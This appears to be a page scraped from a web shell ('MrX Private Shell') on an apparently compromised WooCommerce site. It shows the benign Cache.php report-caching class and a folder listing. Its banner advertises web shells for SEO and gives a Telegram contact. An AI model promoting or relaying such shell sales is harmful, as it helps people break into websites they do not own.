__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* REST API Reports Cache.
*
* Handles report data object caching.
*/
namespace Automattic\WooCommerce\Admin\API\Reports;
defined( 'ABSPATH' ) || exit;
/**
* REST API Reports Cache class.
*/
class Cache {
/**
* Cache version. Used to invalidate all cached values.
*/
const VERSION_OPTION = 'woocommerce_reports';
/**
* Invalidate cache.
*/
public static function invalidate() {
\WC_Cache_Helper::get_transient_version( self::VERSION_OPTION, true );
}
/**
* Get cache version number.
*
* @return string
*/
public static function get_version() {
$version = \WC_Cache_Helper::get_transient_version( self::VERSION_OPTION );
return $version;
}
/**
* Get cached value.
*
* @param string $key Cache key.
* @return mixed
*/
public static function get( $key ) {
$transient_version = self::get_version();
$transient_value = get_transient( $key );
if (
isset( $transient_value['value'], $transient_value['version'] ) &&
$transient_value['version'] === $transient_version
) {
return $transient_value['value'];
}
return false;
}
/**
* Update cached value.
*
* @param string $key Cache key.
* @param mixed $value New value.
* @return bool
*/
public static function set( $key, $value ) {
$transient_version = self::get_version();
$transient_value = array(
'version' => $transient_version,
'value' => $value,
);
$result = set_transient( $key, $transient_value, WEEK_IN_SECONDS );
return $result;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Categories | Folder | 0775 |
|
|
| Coupons | Folder | 0775 |
|
|
| Customers | Folder | 0775 |
|
|
| Downloads | Folder | 0775 |
|
|
| Export | Folder | 0775 |
|
|
| Import | Folder | 0775 |
|
|
| Orders | Folder | 0775 |
|
|
| PerformanceIndicators | Folder | 0775 |
|
|
| Products | Folder | 0775 |
|
|
| Revenue | Folder | 0775 |
|
|
| Stock | Folder | 0775 |
|
|
| Taxes | Folder | 0775 |
|
|
| Variations | Folder | 0775 |
|
|
| Cache.php | File | 1.48 KB | 0664 |
|
| Controller.php | File | 6.76 KB | 0664 |
|
| DataStore.php | File | 54.83 KB | 0664 |
|
| DataStoreInterface.php | File | 401 B | 0664 |
|
| ExportableInterface.php | File | 624 B | 0664 |
|
| ExportableTraits.php | File | 624 B | 0664 |
|
| FilteredGetDataTrait.php | File | 1.55 KB | 0664 |
|
| GenericController.php | File | 9.88 KB | 0664 |
|
| GenericQuery.php | File | 2.57 KB | 0664 |
|
| GenericStatsController.php | File | 7.99 KB | 0664 |
|
| OrderAwareControllerTrait.php | File | 3.74 KB | 0664 |
|
| ParameterException.php | File | 326 B | 0664 |
|
| Query.php | File | 1.41 KB | 0664 |
|
| Segmenter.php | File | 25.42 KB | 0664 |
|
| SqlQuery.php | File | 5.15 KB | 0664 |
|
| StatsDataStoreTrait.php | File | 4.76 KB | 0664 |
|
| TimeInterval.php | File | 23.47 KB | 0664 |
|